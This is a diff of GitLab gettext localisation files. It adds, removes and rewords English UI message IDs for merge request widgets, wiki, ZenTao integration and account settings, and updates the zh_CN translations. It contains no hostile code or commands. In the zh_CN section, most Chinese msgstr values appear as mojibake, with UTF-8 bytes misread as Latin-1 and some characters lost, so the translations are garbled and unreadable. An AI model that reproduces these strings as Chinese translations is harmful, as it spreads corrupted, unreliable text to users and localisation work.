@@ -37927,10 +38550,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38104,7 +38727,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38410,6 +39033,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38422,7 +39048,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38594,6 +39220,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38603,7 +39235,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38717,6 +39349,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -38990,13 +39625,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39032,6 +39664,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39062,12 +39697,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39119,6 +39760,10 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39167,6 +39812,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39302,9 +39950,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39389,7 +40034,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39455,6 +40100,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39647,6 +40298,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39660,15 +40314,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39678,6 +40326,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39742,9 +40393,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -39839,6 +40487,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -39872,9 +40523,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40044,6 +40692,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40053,6 +40704,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40075,6 +40729,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40111,6 +40768,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40476,21 +41136,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40642,9 +41290,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40673,13 +41318,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40691,6 +41336,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40709,9 +41357,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40754,9 +41399,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -40788,6 +41430,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -40797,12 +41442,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -40837,21 +41488,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -40864,6 +41530,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -40903,9 +41578,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -40936,9 +41608,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -40954,39 +41623,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41145,6 +41805,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41322,9 +41994,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41349,6 +42018,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/zh_CN/gitlab.po b/locale/zh_CN/gitlab.po
index 7e97d937ced..26dfbd221d9 100644
--- a/locale/zh_CN/gitlab.po
+++ b/locale/zh_CN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: zh-CN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:38\n"
+"PO-Revision-Date: 2021-12-06 18:56\n"
msgid " %{start} to %{end}"
msgstr "从%{start}到%{end}"
@@ -70,11 +70,8 @@ msgstr "“%{ref}â€ä¸Šä¸å­˜åœ¨â€œ%{path}â€"
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr "“%{repository_name}†的大å°ï¼ˆ%{repository_size})大于%{limit}çš„é™åˆ¶ã€‚"
-msgid "\"el\" parameter is required for createInstance()"
-msgstr "createInstance()必需“elâ€å‚æ•°"
-
msgid "#%{issueIid} (closed)"
-msgstr ""
+msgstr "#%{issueIid}(已关闭)"
msgid "#general, #development"
msgstr "#一般, #å¼€å‘"
@@ -207,6 +204,10 @@ msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d个修å¤çš„测试结果"
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] "%d 个群组"
@@ -247,6 +248,10 @@ msgid "%d merge request that you don't have access to."
msgid_plural "%d merge requests that you don't have access to."
msgstr[0] "%d个您无法访问的åˆå¹¶è¯·æ±‚。"
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d 个指标"
@@ -299,6 +304,10 @@ msgid "%d shard selected"
msgid_plural "%d shards selected"
msgstr[0] "选中了%d个分片"
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] "%d个标签"
@@ -342,6 +351,12 @@ msgstr[0] "为æ高页é¢åŠ è½½é€Ÿåº¦åŠæ€§èƒ½ï¼Œå·²çœç•¥äº† %s 次æ交。"
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} 和 %{openOrClose} %{noteable}"
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr "%{address}为无效的IP地å€èŒƒå›´"
@@ -413,6 +428,10 @@ msgstr[0] "需è¦%{name}çš„%{count}个核准"
msgid "%{count} approvals from %{name}"
msgstr "æ¥è‡ª%{name}çš„%{count}个核准"
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+
msgid "%{count} files touched"
msgstr "已选择 %{count} 个文件"
@@ -632,8 +651,8 @@ msgstr "%{link_start}查看更多%{link_end} 关于角色的信æ¯ã€‚"
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr "%{link_start}从标题中删除%{draft_snippet}å‰ç¼€%{link_end},å…许此åˆå¹¶è¯·æ±‚在准备就绪时被åˆå¹¶ã€‚"
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
-msgstr "%{link_start}以%{draft_snippet}作为标题的开头%{link_end} ,以防止正在工作进程中的åˆå¹¶è¯·æ±‚在准备就绪之å‰è¢«åˆå¹¶ã€‚"
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
+msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
msgstr "%{link_start}GitLab Inc. 收集哪些信æ¯ï¼Ÿ%{link_end}"
@@ -686,6 +705,9 @@ msgstr "%{name} 找到了 %{resultsString}"
msgid "%{name} is already being used for another emoji"
msgstr "%{name}已用于å¦ä¸€ä¸ªè¡¨æƒ…符å·"
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr "%{name}已安排%{action}"
@@ -717,9 +739,6 @@ msgstr "%{oneWeekAgo} - %{today}"
msgid "%{oneYearAgo} - %{today}"
msgstr "%{oneYearAgo} - %{today}"
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr "%{openedEpics}个开å¯ä¸­ï¼Œ %{closedEpics}个已关闭"
@@ -744,6 +763,9 @@ msgstr "%{placeholder}ä¸æ˜¯æœ‰æ•ˆçš„主题"
msgid "%{primary} (%{secondary})"
msgstr "%{primary} (%{secondary})"
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr "无法添加%{ref}:%{error}"
@@ -775,6 +797,9 @@ msgstr "%{rotation} 已与其余å‚与者é‡æ–°è®¡ç®—。请审查 %{rotation} çš
msgid "%{scope} results for term '%{term}'"
msgstr "'%{term}' 的结果 %{scope} "
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr "%{seconds}秒"
@@ -819,9 +844,6 @@ msgstr "%{spanStart}在%{spanEnd} %{errorFn}"
msgid "%{start} to %{end}"
msgstr "从%{start}到%{end}"
-msgid "%{state} epics"
-msgstr "%{state}å²è¯—"
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr "%{strongOpen}警告:%{strongClose} SAML 群组链接会导致 GitLab 自动从群组中移除æˆå‘˜ã€‚"
@@ -913,6 +935,9 @@ msgstr "%{total}å¼€å¯è®®é¢˜æƒé‡"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr "找到%{total}个警告: æ˜¾ç¤ºå‰ %{warningsDisplayed}"
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (æ— æƒåˆå¹¶)"
@@ -959,7 +984,7 @@ msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notif
msgstr "%{webhooks_link_start}%{webhook_type}%{link_end}å…许您针对æŸä¸ªç¾¤ç»„或项目中的事件å‘é€é€šçŸ¥åˆ°web应用程åºã€‚ 如需使用webhook, 我们推è优先使用已有%{integrations_link_start}集æˆ%{link_end}。"
msgid "%{widget} options"
-msgstr ""
+msgstr "%{widget} 选项"
msgid "%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}v*%{code_tag_end} or %{code_tag_start}*-release%{code_tag_end} are supported."
msgstr "支æŒ%{wildcards_link_start}通é…符%{wildcards_link_end} ,例如 %{code_tag_start}v *%{code_tag_end} 或 %{code_tag_start}* -release%{code_tag_end}。"
@@ -1043,13 +1068,20 @@ msgstr "(已删除)"
msgid "(revoked)"
msgstr "(已撤销)"
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+
msgid "(this user)"
-msgstr ""
+msgstr "(此用户)"
msgid "(we need your current password to confirm your changes)"
msgstr "(我们需è¦æ‚¨å½“å‰çš„密ç æ¥ç¡®è®¤æ‚¨çš„更改)"
msgid "* All times are in UTC unless specified"
+msgstr "* 除éžå¦æœ‰è¯´æ˜Žï¼Œå¦åˆ™æ‰€æœ‰æ—¶é—´å‡ä¸º UTC"
+
+msgid "*Required"
msgstr ""
msgid "+ %{amount} more"
@@ -1089,6 +1121,9 @@ msgstr "+%{more_reviewers_count} ä½è¯„审者"
msgid "+%{tags} more"
msgstr "+其余%{tags}个"
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ",或"
@@ -1103,7 +1138,7 @@ msgid "- Not available to run jobs."
msgstr "- ä¸å¯ç”¨äºŽè¿è¡Œä½œä¸šã€‚"
msgid "- Select -"
-msgstr ""
+msgstr "- 选择 -"
msgid "- User"
msgid_plural "- Users"
@@ -1361,7 +1396,7 @@ msgid "A merge request hasn't yet been merged"
msgstr "åˆå¹¶è¯·æ±‚尚未åˆå¹¶"
msgid "A new Auto DevOps pipeline has been created, go to the Pipelines page for details"
-msgstr ""
+msgstr "已创建新的Auto DevOps æµæ°´çº¿ï¼Œè¯·è½¬åˆ°æµæ°´çº¿é¡µé¢ä»¥æŸ¥çœ‹è¯¦ç»†ä¿¡æ¯ã€‚"
msgid "A new Release %{tag} for %{name} was published. Visit the %{release_link_start}Releases page%{release_link_end} to read more about it."
msgstr "%{name}的新的版本%{tag}å·²å‘布。请访问 %{release_link_start}å‘布页é¢%{release_link_end}了解更多信æ¯ã€‚"
@@ -1369,9 +1404,6 @@ msgstr "%{name}的新的版本%{tag}å·²å‘布。请访问 %{release_link_start}å
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr "%{name}的新的版本%{tag}å·²å‘布。请访问å‘布页é¢äº†è§£æ›´å¤šä¿¡æ¯ã€‚"
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr "将在派生(fork)项目中中创建一个新的分支, 并开å¯ä¸€ä¸ªæ–°çš„åˆå¹¶è¯·æ±‚。"
-
msgid "A new impersonation token has been created."
msgstr "已创建新的身份模拟令牌。"
@@ -1388,7 +1420,7 @@ msgid "A project boilerplate for Salesforce App development with Salesforce Deve
msgstr "使用 Salesforce Developer å·¥å…·å¼€å‘ Salesforce App 的项目样æ¿"
msgid "A project boilerplate for Tencent Serverless Framework that uses Next.js SSR"
-msgstr ""
+msgstr "使用腾讯云ServerlessæœåŠ¡ï¼Œè¿…速地构建Serverless应用"
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr "项目包å«ç¾Žå›½å«ç”Ÿä¸Žå…¬å…±æœåŠ¡éƒ¨å‘布的HIPAA审计å议中æ¯ä¸ªå®¡è®¡æŸ¥è¯¢çš„议题"
@@ -1408,9 +1440,6 @@ msgstr "å˜åŸº(rebase)正在进行中"
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "您的å¸æˆ·å·²ä»Žä¸‹åˆ—IP地å€ç™»å½•: %{ip}"
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr "附加到项目路径åŽçš„字符串,以形æˆæœåŠ¡å°é‚®ä»¶åœ°å€"
-
msgid "A title is required"
msgstr "请输入标题。"
@@ -1459,9 +1488,6 @@ msgstr "选择一ç§æ–¹æ³•"
msgid "APIFuzzing|Choose a profile"
msgstr "选择一个é…置文件"
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr "无法生æˆä»£ç ç‰‡æ–­ã€‚请ç¨åŽå†è¯•ã€‚"
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr "é…ç½®HTTP基本身份验è¯å€¼ã€‚支æŒå…¶å®ƒèº«ä»½éªŒè¯æ–¹æ³•ã€‚ %{linkStart}了解更多%{linkEnd}。"
@@ -1597,9 +1623,6 @@ msgstr "访问令牌"
msgid "Access denied for your LDAP account."
msgstr "无法使用您的LDAPå¸æˆ·è¿›è¡Œç™»å½•ã€‚"
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr "æ‹’ç»è®¿é—®ï¼è¯·æ ¸æŸ¥æ‚¨æ˜¯å¦æœ‰æƒé™å°†éƒ¨ç½²å¯†é’¥æ·»åŠ åˆ°æ­¤ä»“库。"
-
msgid "Access denied: %{error}"
msgstr "æ‹’ç»è®¿é—®ï¼š%{error}"
@@ -1739,7 +1762,7 @@ msgid "Activate Service Desk"
msgstr "å¯ç”¨æœåŠ¡å°"
msgid "Activated on"
-msgstr ""
+msgstr "激活于"
msgid "Active"
msgstr "å¯ç”¨"
@@ -1846,12 +1869,18 @@ msgstr "添加编å·åˆ—表"
msgid "Add a related issue"
msgstr "添加一个相关议题"
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "添加表格"
msgid "Add a task list"
msgstr "添加任务列表"
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr "添加一个待办事项"
@@ -1894,6 +1923,12 @@ msgstr "å°†æ交消æ¯æ·»åŠ ä¸ºAsana任务的评论。 %{docs_link}"
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr "å°†æ交消æ¯ä½œä¸ºè¯„论添加到 Pivotal Tracker 故事。 %{docs_link}"
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr "添加部署冻结"
@@ -1936,9 +1971,6 @@ msgstr "新建应用"
msgid "Add new directory"
msgstr "添加目录"
-msgid "Add new service account"
-msgstr "添加新的æœåŠ¡å¸å·"
-
msgid "Add or remove previously merged commits"
msgstr "添加或删除先å‰åˆå¹¶çš„æ交"
@@ -1994,7 +2026,7 @@ msgid "Add to tree"
msgstr "添加到树"
msgid "Add topics to projects to help users find them."
-msgstr ""
+msgstr "将主题添加到项目以帮助用户找到它们。"
msgid "Add trigger"
msgstr "添加触å‘器"
@@ -2008,6 +2040,9 @@ msgstr "将用户加入群组"
msgid "Add variable"
msgstr "添加å˜é‡"
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr "添加webhook"
@@ -2053,9 +2088,6 @@ msgstr "已添加一个待办事项。"
msgid "Added an issue to an epic."
msgstr "为å²è¯—添加了一个议题。"
-msgid "Added at"
-msgstr "添加时间"
-
msgid "Added for this merge request"
msgstr "已加入此åˆå¹¶è¯·æ±‚设置"
@@ -2098,8 +2130,8 @@ msgstr "添加%{epic_ref}作为å­å²è¯—。"
msgid "Adds %{labels} %{label_text}."
msgstr "添加%{labels}%{label_text}。"
-msgid "Adds a Zoom meeting"
-msgstr "添加一个Zoom会议"
+msgid "Adds a Zoom meeting."
+msgstr ""
msgid "Adds a to do."
msgstr "添加一个待办事项."
@@ -2107,8 +2139,8 @@ msgstr "添加一个待办事项."
msgid "Adds an issue to an epic."
msgstr "将议题添加到å²è¯—。"
-msgid "Adds email participant(s)"
-msgstr "添加电å­é‚®ä»¶å‚与者"
+msgid "Adds email participant(s)."
+msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
msgstr "调整 GitLab UI 轮询更新的频率。"
@@ -2203,6 +2235,9 @@ msgstr "最新用户"
msgid "AdminArea|Maintainer"
